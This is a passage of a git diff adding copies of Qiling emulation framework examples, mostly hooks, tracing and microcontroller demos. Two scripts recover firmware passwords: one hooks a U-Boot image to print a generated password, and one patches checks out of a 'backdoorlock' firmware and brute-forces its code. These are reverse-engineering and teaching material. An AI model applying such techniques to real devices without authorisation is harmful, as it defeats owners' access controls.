+# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys +sys.path.append("..") + +from qiling import Qiling + +if __name__ == "__main__": + ql = Qiling(["rootfs/arm_linux/bin/arm_hello"], "rootfs/arm_linux") + ql.filter = r"^open" + ql.run() diff --git a/examples/hello_arm_uboot.py.orig b/examples/hello_arm_uboot.py.orig new file mode 100644 index 000000000..90087f3d6 --- /dev/null +++ b/examples/hello_arm_uboot.py.orig @@ -0,0 +1,74 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys +sys.path.append("..") + +from qiling.core import Qiling +from qiling.const import QL_VERBOSE +from qiling.os.const import STRING + +def get_kaimendaji_password(): + def my_getenv(ql: Qiling): + env = { + "ID" : b"000000000000000", + "ethaddr" : b"11:22:33:44:55:66" + } + + params = ql.os.resolve_fcall_params({'key': STRING}) + value = env.get(params["key"], b"") + + value_addr = ql.os.heap.alloc(len(value)) + ql.mem.write(value_addr, value) + + ql.arch.regs.r0 = value_addr + ql.arch.regs.arch_pc = ql.arch.regs.lr + + def get_password(ql: Qiling): + password_raw = ql.mem.read(ql.arch.regs.r0, ql.arch.regs.r2) + + password = '' + for item in password_raw: + if 0 <= item <= 9: + password += chr(item + 48) + else: + password += chr(item + 87) + + print("The password is: %s" % password) + + def partial_run_init(ql: Qiling): + # argv prepare + ql.arch.regs.arch_sp -= 0x30 + arg0_ptr = ql.arch.regs.arch_sp + ql.mem.write(arg0_ptr, b"kaimendaji") + + ql.arch.regs.arch_sp -= 0x10 + arg1_ptr = ql.arch.regs.arch_sp + ql.mem.write(arg1_ptr, b"000000") # arbitrary password + + ql.arch.regs.arch_sp -= 0x20 + argv_ptr = ql.arch.regs.arch_sp + ql.mem.write_ptr(argv_ptr, arg0_ptr) + ql.mem.write_ptr(argv_ptr + ql.arch.pointersize, arg1_ptr) + + ql.arch.regs.r2 = 2 + ql.arch.regs.r3 = argv_ptr + + + with open("../examples/rootfs/blob/u-boot.bin.img", "rb") as f: + uboot_code = f.read() + + ql = Qiling(code=uboot_code[0x40:], archtype="arm", ostype="blob", profile="uboot_bin.ql", verbose=QL_VERBOSE.OFF) + + image_base_addr = ql.loader.load_address + ql.hook_address(my_getenv, image_base_addr + 0x13AC0) + ql.hook_address(get_password, image_base_addr + 0x48634) + + partial_run_init(ql) + + ql.run(image_base_addr + 0x486B4, image_base_addr + 0x48718) + +if __name__ == "__main__": + get_kaimendaji_password() diff --git a/examples/hello_linuxx8664_intercept.py.orig b/examples/hello_linuxx8664_intercept.py.orig new file mode 100644 index 000000000..d93b9c22b --- /dev/null +++ b/examples/hello_linuxx8664_intercept.py.orig @@ -0,0 +1,30 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys +sys.path.append("..") + +from qiling import Qiling +from qiling.const import QL_INTERCEPT +from qiling.os.linux.syscall_nums import SYSCALL_NR + +def write_onenter(ql: Qiling, fd: int, buf: int, count: int): + print("enter write syscall!") + + ql.arch.regs.rsi = buf + 1 + ql.arch.regs.rdx = count - 1 + +def write_onexit(ql: Qiling, fd: int, buf: int, count: int, retval: int): + print("exit write syscall!") + + ql.arch.regs.rax = count + 1 + +if __name__ == "__main__": + ql = Qiling(["rootfs/x8664_linux/bin/x8664_hello"], "rootfs/x8664_linux") + + ql.os.set_syscall(SYSCALL_NR.write, write_onenter, QL_INTERCEPT.ENTER) + ql.os.set_syscall(SYSCALL_NR.write, write_onexit, QL_INTERCEPT.EXIT) + + ql.run() diff --git a/examples/hello_mips32_linux_customapi.py.orig b/examples/hello_mips32_linux_customapi.py.orig new file mode 100644 index 000000000..01fe30558 --- /dev/null +++ b/examples/hello_mips32_linux_customapi.py.orig @@ -0,0 +1,21 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys +sys.path.append("..") + +from qiling import Qiling +from qiling.os.const import STRING +from qiling.const import QL_VERBOSE + +def my_puts(ql: Qiling): + params = ql.os.resolve_fcall_params({'s': STRING}) + + print(f'puts("{params["s"]}")') + +if __name__ == "__main__": + ql = Qiling(["rootfs/mips32_linux/bin/mips32_hello"], "rootfs/mips32_linux", verbose=QL_VERBOSE.DEBUG) + ql.os.set_api("puts", my_puts) + ql.run() diff --git a/examples/hello_mips32el_linux_debug.py.orig b/examples/hello_mips32el_linux_debug.py.orig new file mode 100644 index 000000000..f60e988e8 --- /dev/null +++ b/examples/hello_mips32el_linux_debug.py.orig @@ -0,0 +1,14 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys +sys.path.append("..") + +from qiling import Qiling +from qiling.const import QL_VERBOSE + +if __name__ == "__main__": + ql = Qiling(["rootfs/mips32el_linux/bin/mips32el_hello_static"], "rootfs/mips32el_linux", verbose=QL_VERBOSE.DEBUG) + ql.run() diff --git a/examples/hello_mips32el_linux_function_hook.py.orig b/examples/hello_mips32el_linux_function_hook.py.orig new file mode 100644 index 000000000..74d32c49e --- /dev/null +++ b/examples/hello_mips32el_linux_function_hook.py.orig @@ -0,0 +1,29 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys +sys.path.append("..") + +from qiling import Qiling +from qiling.const import QL_INTERCEPT, QL_CALL_BLOCK, QL_VERBOSE +from qiling.os.const import STRING + +def my_puts_onenter(ql: Qiling): + params = ql.os.resolve_fcall_params({'s': STRING}) + + print(f'puts("{params["s"]}")') + return QL_CALL_BLOCK + +def my_puts_onexit(ql: Qiling): + print(f'after puts') + return QL_CALL_BLOCK + +if __name__ == "__main__": + ql = Qiling(["rootfs/mips32el_linux/bin/mips32el_double_hello"], "rootfs/mips32el_linux", verbose=QL_VERBOSE.DEBUG) + + ql.os.set_api('puts', my_puts_onenter, QL_INTERCEPT.ENTER) + ql.os.set_api('puts', my_puts_onexit, QL_INTERCEPT.EXIT) + + ql.run() diff --git a/examples/hello_x8664_gdb_macos.py.orig b/examples/hello_x8664_gdb_macos.py.orig new file mode 100644 index 000000000..99888e9e8 --- /dev/null +++ b/examples/hello_x8664_gdb_macos.py.orig @@ -0,0 +1,15 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys +sys.path.append("..") + +from qiling import Qiling +from qiling.const import QL_VERBOSE + +if __name__ == "__main__": + ql = Qiling(["rootfs/x8664_linux/bin/x8664_hello"], "rootfs/x8664_linux", verbose=QL_VERBOSE.DEBUG) + ql.debugger = "gdb:0.0.0.0:9999" + ql.run() diff --git a/examples/hello_x8664_linux_customapi.py.orig b/examples/hello_x8664_linux_customapi.py.orig new file mode 100644 index 000000000..57892c11e --- /dev/null +++ b/examples/hello_x8664_linux_customapi.py.orig @@ -0,0 +1,20 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# +import sys +sys.path.append("..") + +from qiling import Qiling +from qiling.os.const import STRING +from qiling.const import QL_VERBOSE + +def my_puts(ql: Qiling): + params = ql.os.resolve_fcall_params({'s': STRING}) + + print(f'puts("{params["s"]}")') + +if __name__ == "__main__": + ql = Qiling(["rootfs/x8664_linux/bin/x8664_hello"], "rootfs/x8664_linux", verbose=QL_VERBOSE.DEBUG) + ql.os.set_api('puts', my_puts) + ql.run() diff --git a/examples/hello_x8664_linux_disasm.py.orig b/examples/hello_x8664_linux_disasm.py.orig new file mode 100644 index 000000000..9719828df --- /dev/null +++ b/examples/hello_x8664_linux_disasm.py.orig @@ -0,0 +1,74 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys +sys.path.append("..") + +from typing import Mapping +from capstone import Cs + +from qiling import Qiling + +def __map_regs() -> Mapping[int, int]: + """Map Capstone x86 regs definitions to Unicorn's. + """ + + from capstone import x86_const as cs_x86_const + from unicorn import x86_const as uc_x86_const + + def __canonicalized_mapping(module, prefix: str) -> Mapping[str, int]: + return dict((k[len(prefix):], getattr(module, k)) for k in dir(module) if k.startswith(prefix)) + + cs_x86_regs = __canonicalized_mapping(cs_x86_const, 'X86_REG') + uc_x86_regs = __canonicalized_mapping(uc_x86_const, 'UC_X86_REG') + + return dict((cs_x86_regs[k], uc_x86_regs[k]) for k in cs_x86_regs if k in uc_x86_regs) + +# capstone to unicorn regs mapping +CS_UC_REGS = __map_regs() + +def trace(ql: Qiling, address: int, size: int, md: Cs): + """Emit tracing info for each and every instruction that is about to be executed. + + Args: + ql: the qiling instance + address: the address of the instruction that is about to be executed + size: size of the instruction (in bytes) + md: initialized disassembler object + """ + + # read current instruction bytes and disassemble it + buf = ql.mem.read(address, size) + insn = next(md.disasm(buf, address)) + + nibbles = ql.arch.bits // 4 + color_faded = '\033[2m' + color_reset = '\033[0m' + + # get values of the registers referenced by this instruction. + # + # note: since this method is called before the instruction has been emulated, the 'rip' + # register still points to the current instruction, while the instruction considers it + # as if it was pointing to the next one. that will cause 'rip' to show an incorrect value + reads = (f'{md.reg_name(reg)} = {ql.arch.regs.read(CS_UC_REGS[reg]):#x}' for reg in insn.regs_access()[0]) + + # construct a human-readable trace line + trace_line = f'{insn.address:0{nibbles}x} | {insn.bytes.hex():24s} {insn.mnemonic:12} {insn.op_str:35s} | {", ".join(reads)}' + + # emit the trace line in a faded color, so it would be easier to tell trace info from other log entries + ql.log.info(f'{color_faded}{trace_line}{color_reset}') + +if __name__ == "__main__": + ql = Qiling([r"rootfs/x8664_linux/bin/x8664_hello"], r"rootfs/x8664_linux") + + # acquire a disassembler instance bound to arch + md = ql.arch.disassembler + md.detail = True + + # register the trace method to be called before each instruction + ql.hook_code(trace, user_data=md) + + # go! + ql.run() diff --git a/examples/hello_x8664_linux_part_debug.py.orig b/examples/hello_x8664_linux_part_debug.py.orig new file mode 100644 index 000000000..cff9d088e --- /dev/null +++ b/examples/hello_x8664_linux_part_debug.py.orig @@ -0,0 +1,67 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys +sys.path.append("..") + +from qiling import Qiling +from qiling.const import QL_VERBOSE + +def dump(ql, *args, **kw): + ql.save(reg=False, cpu_context=True, snapshot="/tmp/snapshot.bin") + ql.emu_stop() + +if __name__ == "__main__": + ql = Qiling(["rootfs/x8664_linux/bin/sleep_hello"], "rootfs/x8664_linux", verbose=QL_VERBOSE.DEFAULT) + # load base address from profile file + X64BASE = int(ql.profile.get("OS64", "load_address"), 16) + # take a snapshot + ql.hook_address(dump, X64BASE + 0x1094) + ql.run() + + ql = Qiling(["rootfs/x8664_linux/bin/sleep_hello"], "rootfs/x8664_linux", verbose=QL_VERBOSE.DEBUG) + X64BASE = int(ql.profile.get("OS64", "load_address"), 16) + ql.restore(snapshot="/tmp/snapshot.bin") + # enable gdbserver to listen at localhost address, port 9999 + ql.debugger = "gdb:0.0.0.0:9999" + begin_point = X64BASE + 0x109e + end_point = X64BASE + 0x10bc + ql.run(begin = begin_point, end = end_point) + +''' +Partial Execution: https://docs.qiling.io/en/latest/snapshot/ + +This example shows how to partially debug an elf file. First let the program run, hook at the main address and take a snapshot. Then resume the snapshot to construct a reasonable call_state (registers, memory mapping, dynamic library loading, etc) for our target piece of code, and directly assign the pc pointer to the beginning of the part you want to simulate. + +Run it with: + $ python3 hello_x8664_linux_part_debug.py + +Then in a new terminal start gdb remote debug: + $ gdb -q + (gdb) target remote localhost:9999 + Remote debugging using localhost:9999 + Reading /home/qiling/examples/rootfs/x8664_linux/bin/sleep_hello from remote target... + warning: File transfers from remote targets can be slow. Use "set sysroot" to access files locally instead. + Reading /home/qiling/examples/rootfs/x8664_linux/bin/sleep_hello from remote target... + Reading symbols from target:/home/qiling/examples/rootfs/x8664_linux/bin/sleep_hello...(no debugging symbols found)...done. + warning: unable to open /proc file '/proc/42000/task/42000/maps' + Reading /lib64/ld-linux-x86-64.so.2 from remote target... + Reading /lib64/ld-linux-x86-64.so.2 from remote target... + Reading symbols from target:/lib64/ld-linux-x86-64.so.2...Reading /lib64/ld-2.27.so from remote target... + Reading /lib64/.debug/ld-2.27.so from remote target... + (no debugging symbols found)...done. + 0x000055555555509e in ?? () + (gdb) x/8i $pc + => 0x55555555509e: lea 0xf83(%rip),%rdi # 0x555555556028 + 0x5555555550a5: callq 0x555555555060 + 0x5555555550aa: lea 0xf53(%rip),%rdi # 0x555555556004 + 0x5555555550b1: callq 0x555555555060 + 0x5555555550b6: xor %eax,%eax + 0x5555555550b8: add $0x8,%rsp + 0x5555555550bc: retq + 0x5555555550bd: nopl (%rax) + +The source code of sleep_hello can be found at qiling/examples/src/linux/sleep_hello.c. As the above gdb output shows, we skipped the sleep function to directly debug the code afterwards. +''' \ No newline at end of file diff --git a/examples/hello_x8664_linux_part_exec.py.orig b/examples/hello_x8664_linux_part_exec.py.orig new file mode 100644 index 000000000..9dd7530ce --- /dev/null +++ b/examples/hello_x8664_linux_part_exec.py.orig @@ -0,0 +1,29 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys +sys.path.append("..") + +from qiling import Qiling +from qiling.const import QL_VERBOSE + +if __name__ == "__main__": + def dump(ql, *args, **kw): + ql.save(reg=False, cpu_context=True, snapshot="/tmp/snapshot.bin") + ql.emu_stop() + + ql = Qiling(["rootfs/x8664_linux/bin/sleep_hello"], "rootfs/x8664_linux", verbose=QL_VERBOSE.DEBUG) + X64BASE = int(ql.profile.get("OS64", "load_address"), 16) + ql.hook_address(dump, X64BASE + 0x1094) + ql.run() + + ql = Qiling(["rootfs/x8664_linux/bin/sleep_hello"], "rootfs/x8664_linux", verbose=QL_VERBOSE.DISASM) + # load base address from profile file + X64BASE = int(ql.profile.get("OS64", "load_address"), 16) + ql.restore(snapshot="/tmp/snapshot.bin") + # set execution starting and ending points + begin_point = X64BASE + 0x109e + end_point = X64BASE + 0x10bc + ql.run(begin = begin_point, end = end_point) \ No newline at end of file diff --git a/examples/hello_x8664_macos.py.orig b/examples/hello_x8664_macos.py.orig new file mode 100644 index 000000000..29b2bc869 --- /dev/null +++ b/examples/hello_x8664_macos.py.orig @@ -0,0 +1,14 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys +sys.path.append("..") + +from qiling import Qiling +from qiling.const import QL_VERBOSE + +if __name__ == "__main__": + ql = Qiling(["rootfs/x8664_macos/bin/x8664_hello"], "rootfs/x8664_macos", verbose=QL_VERBOSE.DEBUG) + ql.run() diff --git a/examples/hello_x8664_windows_customapi.py.orig b/examples/hello_x8664_windows_customapi.py.orig new file mode 100644 index 000000000..522a8a393 --- /dev/null +++ b/examples/hello_x8664_windows_customapi.py.orig @@ -0,0 +1,49 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys +sys.path.append("..") + +from qiling import Qiling +from qiling.const import QL_VERBOSE, QL_INTERCEPT +from qiling.os.windows.api import STRING +from qiling.os.windows.fncc import * + +@winsdkapi(cc=CDECL, params={ + "str" : STRING +}) +def my_puts(ql: Qiling, address: int, params): + ql.log.info(f'puts was overriden by this hook') + + # puts is expected to return the string length + return len(params["str"]) + +def my_onenter(ql: Qiling, address: int, params): + print(f'[onenter] _cexit : params = {params}') + + # return an alternative set of parameters to be used by the + # actual function, that will execute as soon as this one returns + params = { + 'hKey' : 0x80000001, + 'lpSubKey' : 'Software', + 'phkResult' : 0xffffcfb4 + } + + return address, params + +def my_onexit(ql: Qiling, address: int, params, retval: int): + print(f'[onexit] atexit : params = {params}') + +def my_sandbox(path, rootfs): + ql = Qiling(path, rootfs, verbose=QL_VERBOSE.DEBUG) + + ql.os.set_api("_cexit", my_onenter, QL_INTERCEPT.ENTER) + ql.os.set_api("puts", my_puts, QL_INTERCEPT.CALL) + ql.os.set_api("atexit", my_onexit, QL_INTERCEPT.EXIT) + + ql.run() + +if __name__ == "__main__": + my_sandbox(["rootfs/x8664_windows/bin/x8664_hello.exe"], "rootfs/x8664_windows") diff --git a/examples/hello_x86_linux_fake_urandom.py.orig b/examples/hello_x86_linux_fake_urandom.py.orig new file mode 100644 index 000000000..bada3f4a0 --- /dev/null +++ b/examples/hello_x86_linux_fake_urandom.py.orig @@ -0,0 +1,26 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +from sys import path +path.append('..') + +from qiling import Qiling +from qiling.os.mapper import QlFsMappedObject + +class Fake_urandom(QlFsMappedObject): + + def read(self, size): + return b"\x01" # fixed value for reading /dev/urandom + + def fstat(self): # syscall fstat will ignore it if return -1 + return -1 + + def close(self): + return 0 + +if __name__ == "__main__": + ql = Qiling(["rootfs/x86_linux/bin/x86_fetch_urandom"], "rootfs/x86_linux") + ql.add_fs_mapper("/dev/urandom", Fake_urandom()) + ql.run() diff --git a/examples/mcu/gd32vf103_blink.py.orig b/examples/mcu/gd32vf103_blink.py.orig new file mode 100644 index 000000000..003e5a1c5 --- /dev/null +++ b/examples/mcu/gd32vf103_blink.py.orig @@ -0,0 +1,29 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys +sys.path.append("../..") + +from qiling.core import Qiling +from qiling.const import QL_VERBOSE +from qiling.extensions.mcu.gd32vf1 import gd32vf103 + +ql = Qiling(['../rootfs/mcu/gd32vf103/blink.hex'], archtype="riscv64", ostype="mcu", + env=gd32vf103, verbose=QL_VERBOSE.DEBUG) + +ql.hw.create('rcu') +ql.hw.create('gpioa').watch() +ql.hw.create('gpioc').watch() + +delay_cycles_begin = 0x800015c +delay_cycles_end = 0x800018c + +def skip_delay(ql): + ql.arch.regs.pc = delay_cycles_end + +ql.hook_address(skip_delay, delay_cycles_begin) +ql.hw.gpioc.hook_set(13, lambda : print('Set PC13')) + +ql.run(count=20000) diff --git a/examples/mcu/stm32f407_gpio_hook.py.orig b/examples/mcu/stm32f407_gpio_hook.py.orig new file mode 100644 index 000000000..5d0c9dbe9 --- /dev/null +++ b/examples/mcu/stm32f407_gpio_hook.py.orig @@ -0,0 +1,37 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys +sys.path.append("../..") + +from qiling.core import Qiling +from qiling.const import QL_VERBOSE +from qiling.extensions.mcu.stm32f4 import stm32f407 +from qiling.hw.external_device.oled.ssd1306 import PyGameSSD1306Spi + + +ql = Qiling(["../rootfs/mcu/stm32f407/ai-sine-test.elf"], + archtype="cortex_m", ostype="mcu", env=stm32f407, verbose=QL_VERBOSE.DEFAULT) + +ql.hw.create('rcc') +ql.hw.create('pwr') +ql.hw.create('flash interface') +ql.hw.create('gpioa') +ql.hw.create('gpiob') +ql.hw.create('gpiod') +ql.hw.create('spi1') +ql.hw.create('crc') +ql.hw.create('dbgmcu') + +oled = PyGameSSD1306Spi(dc=(ql.hw.gpiod, 5)) +ql.hw.spi1.connect(oled) + +def indicator(ql): + ql.log.info('PA7 set') + +ql.hw.gpioa.hook_set(7, indicator, ql) +ql.hw.systick.ratio = 1000 + +ql.run(count=800000) diff --git a/examples/mcu/stm32f407_hack_lock.py.orig b/examples/mcu/stm32f407_hack_lock.py.orig new file mode 100644 index 000000000..de41dad44 --- /dev/null +++ b/examples/mcu/stm32f407_hack_lock.py.orig @@ -0,0 +1,63 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + + +import sys +from multiprocessing import Pool +from multiprocessing import Process + +sys.path.append("../..") + +from qiling.core import Qiling +from qiling.const import QL_VERBOSE +from qiling.extensions.mcu.stm32f4 import stm32f407 + + +def dicts(): + a = 0x79df7 + b = 0x75ee0 + c = 0xcc5ee + M = 0xf4247 + + for x in range(1, 20): + yield str((a*x*x + b*x + c) % M) + +# Cracking the passwd of lock +def crack(passwd): + ql = Qiling(["../../examples/rootfs/mcu/stm32f407/backdoorlock.hex"], + archtype="cortex_m", ostype="mcu", env=stm32f407, verbose=QL_VERBOSE.DISABLED) + + ql.hw.create('spi2') + ql.hw.create('gpioe') + ql.hw.create('gpiof') + ql.hw.create('usart1') + ql.hw.create('rcc') + + ql.hw.show_info() + + print('Testing passwd', passwd) + + ql.patch(0x8000238, b'\x00\xBF' * 4) + ql.patch(0x80031e4, b'\x00\xBF' * 11) + ql.patch(0x80032f8, b'\x00\xBF' * 13) + ql.patch(0x80013b8, b'\x00\xBF' * 10) + + ql.hw.usart1.send(passwd.encode() + b'\r') + + ql.hw.systick.set_ratio(100) + ql.run(count=1000000, end=0x8003225) + if ql.arch.effective_pc == 0x8003225: + print('Success, the passwd is', passwd) + else: + print('Fail, the passwd is not', passwd) + + del ql + +pool = Pool() +for passwd in dicts(): + pool.apply_async(crack, args=(passwd,)) + +pool.close() +pool.join() diff --git a/examples/mcu/stm32f407_mnist_oled.py.orig b/examples/mcu/stm32f407_mnist_oled.py.orig new file mode 100644 index 000000000..6055518d8 --- /dev/null +++ b/examples/mcu/stm32f407_mnist_oled.py.orig @@ -0,0 +1,37 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys +sys.path.append("../..") + +from qiling.core import Qiling +from qiling.const import QL_VERBOSE +from qiling.extensions.mcu.stm32f4 import stm32f407 +from qiling.hw.external_device.oled.ssd1306 import PyGameSSD1306Spi + + +ql = Qiling(["../rootfs/mcu/stm32f407/mnist.bin", 0x8000000], + archtype="cortex_m", ostype="mcu", env=stm32f407, verbose=QL_VERBOSE.DEFAULT) + +ql.hw.create('rcc') +ql.hw.create('gpiod') +ql.hw.create('spi1') +ql.hw.create('crc') +ql.hw.create('dbgmcu') + +oled = PyGameSSD1306Spi(dc=(ql.hw.gpiod, 5)) +ql.hw.spi1.connect(oled) + +ql.hw.systick.ratio = 1000 + +## a temporary method +def hook_smlabb(ql): + ql.arch.regs.r3 = ql.arch.regs.r2 + ql.arch.regs.r1 * ql.arch.regs.r3 + ql.arch.regs.pc = (ql.arch.regs.pc + 4) | 1 + +ql.hook_address(hook_smlabb, 0x8007a12) +ql.hook_address(hook_smlabb, 0x8007b60) + +ql.run() diff --git a/examples/mcu/stm32f411_dma_logger.py.orig b/examples/mcu/stm32f411_dma_logger.py.orig new file mode 100644 index 000000000..5ab10c515 --- /dev/null +++ b/examples/mcu/stm32f411_dma_logger.py.orig @@ -0,0 +1,30 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys +sys.path.append("../..") + +from qiling.core import Qiling +from qiling.const import QL_VERBOSE +from qiling.extensions.mcu.stm32f4 import stm32f411 + +def stm32f411_dma(): + ql = Qiling(["../rootfs/mcu/stm32f411/dma-clock.hex"], + archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.DEBUG) + + ql.hw.create('usart2').watch() + ql.hw.create('dma1').watch() + ql.hw.create('rcc') + + ql.run(count=200000) + buf = ql.hw.usart2.recv() + + ## check timestamp + tick = [int(x) for x in buf.split()] + for i in range(1, len(tick)): + assert(4 <= tick[i] - tick[i - 1] <= 6) + +if __name__ == "__main__": + stm32f411_dma() \ No newline at end of file diff --git a/examples/mcu/stm32f411_freertos.py.orig b/examples/mcu/stm32f411_freertos.py.orig new file mode 100644 index 000000000..ee003f141 --- /dev/null +++ b/examples/mcu/stm32f411_freertos.py.orig @@ -0,0 +1,26 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys +sys.path.append("../..") + +from qiling.core import Qiling +from qiling.const import QL_VERBOSE +from qiling.extensions.mcu.stm32f4 import stm32f411 + + +def stm32f411_freertos(): + ql = Qiling(["../rootfs/mcu/stm32f411/os-demo.hex"], + archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.DEBUG) + + ql.hw.create('usart2').watch() + ql.hw.create('gpioa').watch() + ql.hw.create('rcc') + + ql.hw.systick.set_ratio(100) + ql.run(count=200000) + +if __name__ == "__main__": + stm32f411_freertos() \ No newline at end of file diff --git a/examples/mcu/stm32f411_gpio_hook.py.orig b/examples/mcu/stm32f411_gpio_hook.py.orig new file mode 100644 index 000000000..5fbb23979 --- /dev/null +++ b/examples/mcu/stm32f411_gpio_hook.py.orig @@ -0,0 +1,28 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys +sys.path.append("../..") + +from qiling.core import Qiling +from qiling.const import QL_VERBOSE +from qiling.extensions.mcu.stm32f4 import stm32f411 + +def test_mcu_gpio_stm32f411(): + ql = Qiling(["../../examples/rootfs/mcu/stm32f411/hello_gpioA.hex"], + archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.DEBUG) + + ql.hw.create('usart2').watch() + ql.hw.create('rcc').watch() + ql.hw.create('gpioa').watch() + + + ql.hw.gpioa.hook_set(5, lambda: print('LED light up')) + ql.hw.gpioa.hook_reset(5, lambda: print('LED light off')) + + ql.run(count=10000) + +if __name__ == "__main__": + test_mcu_gpio_stm32f411() diff --git a/examples/mcu/stm32f411_i2c_lcd.py.orig b/examples/mcu/stm32f411_i2c_lcd.py.orig new file mode 100644 index 000000000..48b143834 --- /dev/null +++ b/examples/mcu/stm32f411_i2c_lcd.py.orig @@ -0,0 +1,50 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys + +sys.path.append("../..") + +from qiling.core import Qiling +from qiling.const import QL_VERBOSE +from qiling.hw.external_device.lcd.lcd1602 import PyGameLCD1602 +from qiling.extensions.mcu.stm32f4 import stm32f411 + +def create(path, lcd): + ql = Qiling([path], archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.DEBUG) + + ql.hw.create('i2c1') + ql.hw.create('rcc') + ql.hw.create('gpioa') + ql.hw.create('gpiob') + + ql.hw.i2c1.watch() + ql.hw.i2c1.connect(lcd) + + ql.hw.systick.set_ratio(100) + + return ql + +if __name__ == "__main__": + lcd = PyGameLCD1602() + + ## Example 1 + create("../rootfs/mcu/stm32f411/i2c-lcd.hex", lcd).run(count=50000) + + ## Example 2 + create("../rootfs/mcu/stm32f411/lcd-plus.hex", lcd).run(count=100000) + + ## Example 3 + ql = create("../rootfs/mcu/stm32f411/i2cit-lcd.hex", lcd) + + delay_start = 0x8002936 + delay_end = 0x8002955 + def skip_delay(ql): + ql.arch.regs.pc = delay_end + + ql.hook_address(skip_delay, delay_start) + ql.run(count=100000) + + lcd.quit() diff --git a/examples/mcu/stm32f411_interact_usart.py.orig b/examples/mcu/stm32f411_interact_usart.py.orig new file mode 100644 index 000000000..19f5ba839 --- /dev/null +++ b/examples/mcu/stm32f411_interact_usart.py.orig @@ -0,0 +1,32 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + + +import sys +sys.path.append("../..") + +import time +import threading + +from qiling.core import Qiling +from qiling.const import QL_VERBOSE +from qiling.extensions.mcu.stm32f4 import stm32f411 + + +ql = Qiling(["../../examples/rootfs/mcu/stm32f411/md5_server.hex"], + archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.OFF) + +ql.hw.create('usart2') +ql.hw.create('rcc') + +threading.Thread(target=lambda : ql.run(count=-1)).start() + +while True: + message = input('>> ').encode() + + ql.hw.usart2.send(message + b'\n') + + time.sleep(0.8) + print(ql.hw.usart2.recv()) diff --git a/examples/mcu/stm32f411_spi_oled12864.py.orig b/examples/mcu/stm32f411_spi_oled12864.py.orig new file mode 100644 index 000000000..69fdcb707 --- /dev/null +++ b/examples/mcu/stm32f411_spi_oled12864.py.orig @@ -0,0 +1,28 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys +sys.path.append("../..") + +from qiling.core import Qiling +from qiling.const import QL_VERBOSE +from qiling.extensions.mcu.stm32f4 import stm32f411 +from qiling.hw.external_device.oled.ssd1306 import PyGameSSD1306Spi + +ql = Qiling(['../rootfs/mcu/stm32f411/oled12864.hex'], + archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.DEFAULT) + +ql.hw.create('rcc') +ql.hw.create('gpioa') +ql.hw.create('gpiob') +ql.hw.create('gpioc') +ql.hw.create('spi1') + +oled = PyGameSSD1306Spi(dc=(ql.hw.gpioc, 7)) + +ql.hw.systick.ratio = 2000 + +ql.hw.spi1.connect(oled) +ql.run(count=1000000) diff --git a/examples/mem_invalid_access.py.orig b/examples/mem_invalid_access.py.orig new file mode 100644 index 000000000..38097b037 --- /dev/null +++ b/examples/mem_invalid_access.py.orig @@ -0,0 +1,25 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# +import sys +sys.path.append("..") + +from qiling import Qiling +from qiling.const import QL_VERBOSE + +def mem_crash(ql: Qiling, access: int, address: int, size: int, value: int): + print(f'got crash') + + PAGE_SIZE = ql.mem.pagesize + aligned = ql.mem.align(address) + + # map the entire page containing the invalid address and fill it with 'Q's + ql.mem.map(aligned, PAGE_SIZE) + ql.mem.write(aligned, b'Q' * PAGE_SIZE) + +if __name__ == "__main__": + ql = Qiling(["rootfs/x8664_linux/bin/mem_invalid_access"], "rootfs/x8664_linux", verbose=QL_VERBOSE.DEBUG) + + ql.hook_mem_invalid(mem_crash) + ql.run() diff --git a/examples/multithreading_arm64_linux.py.orig b/examples/multithreading_arm64_linux.py.orig new file mode 100644 index 000000000..25104efe7 --- /dev/null +++ b/examples/multithreading_arm64_linux.py.orig @@ -0,0 